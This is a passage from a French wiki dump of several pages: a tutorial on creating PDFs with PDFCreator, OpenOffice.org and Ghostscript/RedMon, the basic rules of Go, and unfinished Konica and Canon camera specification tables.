PDFCreator avec un autre programme:=== C'est très simple! Lancez un programme tel Word, Writer, Powerpoint, Impress, etc. Aller dans le menu « Fichier » (alt+F), puis faites « imprimer » (directement: alt+P). <br/> J'utilise Writer de OpenOffice.org en anglais. Choisissez l'imprimante: « PDFCreator ». Puis faites « Ok ». Une fenêtre s'ouvre: <br/> vous pouvez modifier le titre (nom du fichier), les dates, l'auteur,etc. Choisir d'ouvrir le document tout de suite ou pus tard. Cliquez sur « enregistrer » dès que vous aurez fini. Là vous devez choisir un emplacement pour le fichier. Puis cliquez sur enregistrer. C'est fait votre premier PDF est crée! BRAVO! Cette procédure est toujours la même. ==Avec OpenOffice.org (OOo):== Tout devient plus simple, pas besoin de PDFCreator. Directement dans le menu « Fichier », faîtes « export as pdf » ou « exporter en pdf » ou « extension pdf ». Puis donner un emplacement et un nom au fichier et enregistrez. C'est fait! L'avantage de OOo (comme l'appellent les intimes) est que les liens seront conservés actifs en pdf, ce qui n'est pas le cas de PDFCreator. Sachez que cette fonctionnalité n'est pas disponible avec MS Office Pour plus de renseignements, voyez ces liens : *http://www.microsoft.com/france/msdn/office/office12/uioverview.mspx *http://www.microsoft.com/office/preview/default.mspx). Si vous désirez en savoir plus sur OOo, suivez ces liens : *http://fr.openoffice.org/ *http://www.framasoft.net/article472.html *http://www.openoffice.org/ ==Avec ''Ghostscript'' et ''RedMon'':== Ces deux produits présentent l'intérêt de permettre la création de fichiers PDF au cours de l'exécution d'un ''script'', c'est à dire sans interactivité avec l'utilisateur. Leur principe est de rediriger les flux d'impression vers ''Ghostscript'', qui génère le source PDF. ===Etape 1 - Téléchargement d'''AFPL Ghostscript'' et ''RedMon'':=== Télécharger la dernière version des deux produits open source et gratuits suivants : [http://www.cs.wisc.edu/~ghost/doc/AFPL/index.htm ''AFPL Ghostscript''] [http://www.cs.wisc.edu/~ghost/redmon/index.htm ''RedMon''] (''Redirection Port Monitor'') Ils fonctionnent sous les OS suivants : Windows 95/98, Windows NT 4.0, 2000, XP et 2003. ===Etape 2 - Installation d'''AFPL Ghostscript'' et ''RedMon'':=== L'installation est explicitée dans la documentation, et revient à lancer un exécutable : * <tt>gs###w32.exe</tt> pour ''Ghostscript'', avec <tt>###</tt> numéro de version ; * <tt>setup.exe</tt> pour ''RedMon''. Pour la suite de la présentation, je considère que la localisation de l'installation de ''Ghostscript'' est : <tt>C:\gs\gs###\bin\</tt>. ===Etape 3 - Paramétrage de ''Ghostscript'':=== Le paramétrage revient à préciser à ''Ghostscript'' qu'il doit utiliser le ''device'' <tt>pdfwrite</tt>. Il faut pour ce faire créer un fichier <tt>pdfwrite.rsp</tt>, qui doit contenir : <tt>-sDEVICE=pdfwrite</tt>. La configuration du port, vue ci-après, fera référence à ce fichier. Pour le présent document, la localisation adoptée est : <tt>C:\gs\gs###\</tt>. ===Etape 4 - Création d'un port redirigé:=== * Ajouter une imprimante locale ; * lors de la sélection du port, choisir de créer un nouveau port redirigé. Conserver le nom de port proposé (ce sera « RPT1: » lors d'une première installation). * dans les propriétés de ce port, on indique de rediriger les flux vers le programme ''Ghostscript'' (<tt>C:\gs\gs###\bin\gswin32c.exe</tt>) ; * on indique également comme arguments du lancement la localisation du fichier <tt>.rsp</tt> cité précédemment, et d'éventuels paramètres. Par exemple, les arguments peuvent être : <tt>@C:\gs\gs8.53\pdfprinter.rsp -sOutputFile="%1" -c save pop -f -</tt>. Ceux-ci précisent d'utiliser le fichier de configuration <tt>C:\gs\gs8.53\pdfprinter.rsp</tt> qui fait réféfence au ''device'' <tt>pdfwrite</tt>, et demandent l'ouverture d'une fenêtre utilisateur pour lui demander où sauver le fichier PDF résultant. Le lecteur est renvoyé à l'abondante documentation de ''[http://www.cs.wisc.edu/~ghost/doc/AFPL/8.00/Readme.htm#Commprod Ghostscript]'' et ''[http://www.cs.wisc.edu/~ghost/redmon/en/redmon.htm RedMon]'' (la documentation en fraçais existe sur le même site, mais elle est incomplète), bien trop importante pour être résumée ici. Jeu de GO 6137 41830 2006-05-09T17:16:17Z 84.7.157.46 Le Go est le jeu de plateau le plus vieux du monde, qui contraste de règles simples à une très riche profondeur de stratégie. Après des siècles de jeu, de nouvelles idées sur le jeu ont été dévellopées sur une base régulières. A une époque où les ordinateurs et les opposants numériques peuvent être de grands maîtres d'échecs, ce fait montre que l'ordinateur ne présente pas un défi particulier pour un niveau intermédiaire pour les joueurs de go ce qui illustrent la profondeur et la complexité du jeu. Le jeu est très populaire au Japon (où il est parfois prononcé et connu comme "I-Go," "ee-GO"), en Chine (où il est appellé "weiqi," prononcé "way-CHEE"), et Corée (ils disent "Baduk," prononcé "PAW-duk"). ==Chapitres== 1. [[Début Philosophique]]<br.> 2. [[GO/règles de base|Règles de Base]]<br.> 3. [[Pas-à-pas le Guide de jeu]]<br.> 4. [[Comment apprendre]]<br.> 5. [[Strategie]]<br.> 6. [[Histoire du GO]]<br.> 7. [[Ressources]] GO/règles de base 6138 44079 2006-06-07T12:05:14Z 62.39.126.3 /* Placer les pierres */ {{1/4}} ==Règles de Jeu== Les règles du go sont simples et élégantes. On peut les résumer ainsi : * Noir et Blanc, jouent sur un plateau où sont tracées 19 lignes horizontales et 19 lignes verticales qui forment une grille avec 361 intersections. Chaque joueur dispose d'un nombre illimité de jetons (appelés ''pierres'') de sa couleur. Au début, toutes les intersections sont inoccupées (''vides''). * But du jeu : former des ''territoires'', ensembles d'intersections vides contrôlés par le joueur. À la fin de la partie, Les ''prisonniers'' (pierres prises ou ''mortes'') sont placés sur les intersections des territoires de l'adversaire. Puis on compte 1 point par intersection libre (ceci n'étant qu'une technique de comptage : en théorie 1 prisonnier ou 1 territoire valent 1 point). Le vainqueur est celui qui possède le plus de territoire. * Les joueurs jouent chacun leur tour, en commençant par Noir. Chaque joueur peut poser une nouvelle pierre de sa couleur sur une intersection vide du plateau. * Les pierres qui sont directement adjacentes en suivant les lignes du plateau sont dites ''connectées''. On appelle ''groupe de pierres'' un ensemble de pierres de même couleur qui sont connectées * Une pierre ou un groupe de pierres a un certain nombre d'intersections vides qui lui sont adjacentes en suivant les lignes du plateau, on les appelle les ''libertés'' de la pierre, du groupe. Si un coup d'un joueur supprime la dernière liberté, on enlève cette pierre ou ce groupe du plateau (il est ''capturé''). Les groupes appartenant à l'adversaire sont capturés de la sorte. * Un coup qui, après la phase de capture, recréerait une situation antérieure du plateau est invalide et ne peut être joué. * Quand un joueur passe, l'autre peut jouer à nouveau. * Quand les deux joueurs passent à la suite, la partie se termine. * Après la fin de la partie, on évalue le ''score'' de chaque joueur: c'est le nombre d'intersections qui sont occupées ou complètement entourées par des pierres du joueur. Une intersection vide est complètement entourée par les pierres d'un joueur si tous les chemins partant de cette intersection en suivant la grille rencontrent des pierres de ce joueur avant de rencontrer celles de son adversaire ou un bord du plateau. * Le gagnant est le joueur dont le score est le plus élevé. En pratique, on utilise généralement des variantes de ces règles. Ces variantes, qui sont présentées ci-dessous ne changent pas le caractère du jeu. ===Le plateau et les pierres=== [[Image:Go_board.jpg|thumbs|130px|right|ici un goban avec une partie]] Le '''GOBAN''' est une surface rectangulaire composée d'intersections dont l'ensemble est de différentes tailles. En général, le Goban est est un carré de * 9*9 intersections * 19*19 intersections Les '''pierres''' sont en général faites de résine et sont égales en diamètre à la taille d'un carré. ===Placer les pierres=== Les pierres se placent non pas dans les carrés formés par les lignes mais sur les intersections.Une pierre posée à côté sera considérée comme prisonnière. À partir ce placement, une pierre dispose de 4 libertées de mouvements ou de ratachements. Une pierre une fois qu'elle est posé sur le GOBAN ne bougera plus de la partie à moins d'être faite prisonnière. Sauf exceptions due au Ko, on ne place pas de pierres dans un territoire adverse dans le cas où elle ne disposerais pas de liberté.Disposez une pierre dans un oeil est égal à du suicide et est soit refusé par le joueur soit admise comme prisonnière. [[Image:Go adjacent stones.png|Adjacent stones|right|thumbs|135px|les points blancs et noirs représentent les libertés des pierres]] ===Surrounding Territory=== ===Capturer des prisonniers=== ===Atari=== Une pierre ou un groupe de pierres est dit ''Atari'' quand l'ensemble de ses libertés se réduit à une possibilité de mouvement.Le joueur adverse peu en posant une pierre au bout de la chaîne de ce groupe. [[Image:Go_capturing.png|thumbs|right|Les deux pierres noires sont atari en A en jouant blanc dans ce A, on le scapturent toutes les deux.]] ===Ko=== [[image:goko.gif|right]] Le '''Ko''' est un mot en japonais qui veut dire éternité. C'est une situation qui ne donne l'avantage à aucun des deux joueurs puisque l'un et l'autre peuvent jouer à l'infini pendant l'éternité dans l'oeil de leur partenaire. Dans cette illustration, on a soit un oeil noir soit un oeil blanc. Pour un KO, lorsque blanc joue dans l'oeil de noir, noir ne peut pas rejouer de suite, il doit jouer ailleurs puis revenir dans le Ko ou non. Le calcul de points à la fin se fait pour le Ko soit en liant ses pierres soit en comptant un point pour noir ou blanc. ===vie et morts=== ===Yeux=== ====Tsumego==== ====Seki==== ===Handicaps=== Photographie - 40 - Konica 6139 26886 2005-12-16T23:32:10Z Jean-Jacques MILAN 114 {{Photographie}} == Appareils réflex 24x36 == {| cellpadding="10" border="1" |- | '''année''' |[[Image:Konica FT-1.jpg|180px|center]] |'''Konica FT-1''' <br> <gallery> Image:Konica FT-1 top.jpg Image:Konica FT-1 with flash.jpg </gallery> |- |} == Appareils compacts APS == {| cellpadding="10" border="1" |- |'''1995 ou 1996''' |[[Image:Konica BMS 100.jpg|180px|center]] |'''BM-S 100''' <br> Un appareil très plat, doté d'un objectif fixe 3,5/28 mm, qui enregistre les conditions de prise de vue, la date et l'heure. |- |} Photographie - 40 - Canon 6140 45419 2006-06-22T20:21:19Z Jean-Jacques MILAN 114 /* Appareils réflex numériques */ {{Photographie}} {{Photo_40}} == Images à classer == en réserve : <gallery> Image:Canon speedlite 430ex.jpg Image:Canon tc 80n3 remote control.jpg Image:Canon PowerShot A310, back.jpg Image:Back of canon powershot a95 with screen folded.jpg Image:Back of canon powershot a95 with screen out.jpg Image:Canon powershot a95.jpg Image:Loaded canon a95.jpg Image:Canon powershot a95 top.jpg Image:Canon powershot a610 f.jpg Image:Loading a cf card into canon a95.jpg Image:Canon PowerShot A310, front.jpg Image:Ixus-p1010132.jpg Image:Ixus-p1010133.jpg Image:Ixus-p1010134.jpg Image:Ixus-p1010135.jpg Image:Ixus-p1010136.jpg Image:Ixus-p1010137.jpg Image:Canon-s1is-p1020866.jpg Image:EOS-30D rear.jpg Image:EOS-30D top.jpg Image:Canon Digital IXUS 700 front.jpg Image:Canon EF 28-105 3.5-4.5 USM II with and without Lens Hood.jpg Image:Canon PowerShot S110 Digital Elph front.jpg Image:Canon TS-E24mm F3.5L.jpg Image:Canon EF-S18-55mm F3.5-5.6 II USM.jpg Image:Canon EF-S10-22mm F3.5-4.5 USM.jpg Image:Canon EF28-105mm F3.5-4.5 II USM.jpg Image:Canon EF50mm F1.4 USM.jpg Image:Canon EF50mm F1.8 II.jpg Image:Canon EF70-200mm F4.0L USM.jpg Image:Canon EF135mm F2.0L USM.jpg Image:Canon EF28-135mm F3.5-5.6 IS USM.jpg Image:Canon-with-macro.jpg Image:Canon Digital IXUS v2 front.jpg Image:EOS 350D.jpg Image:Canon Ixus II front.jpg Image:Canon Digital IXUS 400 front.jpg Image:Canon EF.jpg Image:EOS-30D front.jpg </gallery> == Appareils APS réflex == === Canon EOS 123 (1996) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Canon EOS 123.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> réflex ultra-compact • <font color=grey>Format de film : </font> APS • <font color=grey>Objectifs : </font> interchangeables • <font color=grey>Monture des objectifs : </font> Canon EF • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> oui • <font color=grey>Viseur : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font>autofocus, commande par l'œil • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} == Appareils 24 x 36 compacts == == Appareils 24x36 réflex == === Canon FT QL (1966) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Canon FT QL.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> 24 x 36 réflex • <font color=grey>Format de film : </font> 135 • <font color=grey>Objectifs : </font>interchangeables • <font color=grey>Monture des objectifs : </font>--- • <font color=grey>Diaphragme : </font>--- • <font color=grey>Présélection du diaphragme : </font>--- • <font color=grey>Viseur : </font>--- • <font color=grey>Écran : </font>--- • <font color=grey>Informations dans le viseur : </font>--- • <font color=grey>Mise au point : </font>--- • <font color=grey>Obturateur : </font>--- • <font color=grey>Prise de flash : </font>--- • <font color=grey>Déclencheur : </font>--- • <font color=grey>Contrôle de l'exposition : </font>--- • <font color=grey>Sensibilité film / capteur : </font>--- • <font color=grey>Mémorisation de la mesure : </font>--- • <font color=grey>Retardateur : </font>--- • <font color=grey>Avance du film : </font>--- • <font color=grey>Correction d'exposition : </font>--- • <font color=grey>Compteur de vues : </font>--- • <font color=grey>Expositions multiples : </font>--- • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font>--- • <font color=grey>Contrôle de piles : </font>--- • <font color=grey>Alimentation : </font>--- • <font color=grey>Interrupteur principal : </font>--- • <font color=grey>Dimensions : </font>--- • <font color=grey>Poids (boîtier seul, sans pile) : </font>--- • <font color=grey>Accessoires : </font>--- • <font color=grey>Mode [[Photographie - 23 - Macrophotographie|macro]] : </font>--- • <font color=grey>Remarques : </font>--- |- |} === Canon A-1 (1978) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Canon A-1.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> 24 x 36 réflex mono-objectif • <font color=grey>Format de film : </font> 135 • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Canon T 50 (1983) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Canon T50.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>24 x 36 réflex monoobjectif • <font color=grey>Format de film : </font>135 • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Canon T 70 (année ?) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Canon T70.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de film : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film / capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> <gallery> Image:Canon T70 top.jpg Image:Canon T70 mode switch.jpg </gallery> |- |} === Canon T 90 (année ?) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:T90front.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de film : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film / capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> <gallery> Image:Canon T90 front detail cropped.jpg Image:T90nolens.jpg </gallery> <gallery> Image:T90lcd.jpg Image:T90rearopen.jpg </gallery> |- |} == Appareils compacts numériques == === Canon PowerShot Pro1 (2003 ou 2004) === {| border="1" cellspacing="0" cellpadding="4" |- |[[Image:Canon Pro1.jpg|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>28-200 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>645 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon Powershot A 300 (année ?) === {| border="1" cellspacing="0" cellpadding="4" |- |[[Image:Canon powershot a300 5mm camera.png|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>28-200 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>645 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon Digital Ixus 40 (2004) === {| border="1" cellspacing="0" cellpadding="4" |- |[[Image:Canon Digital Ixus 40.jpg|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon Digital Ixus 430 (année ?) === {| border="1" cellspacing="0" cellpadding="4" |- |[[Image:Canon_Digital_Ixus_430.jpg|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} <gallery> Image:Canon IXUS 430.jpg </gallery> === Canon Digital Ixus V3 (année ?) === {| border="1" cellspacing="0" cellpadding="4" |- |[[Image:Canon Digital Ixus V3.jpg|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>3,2 Mpixels •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Canon PowerShot SD550 (année ?) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font 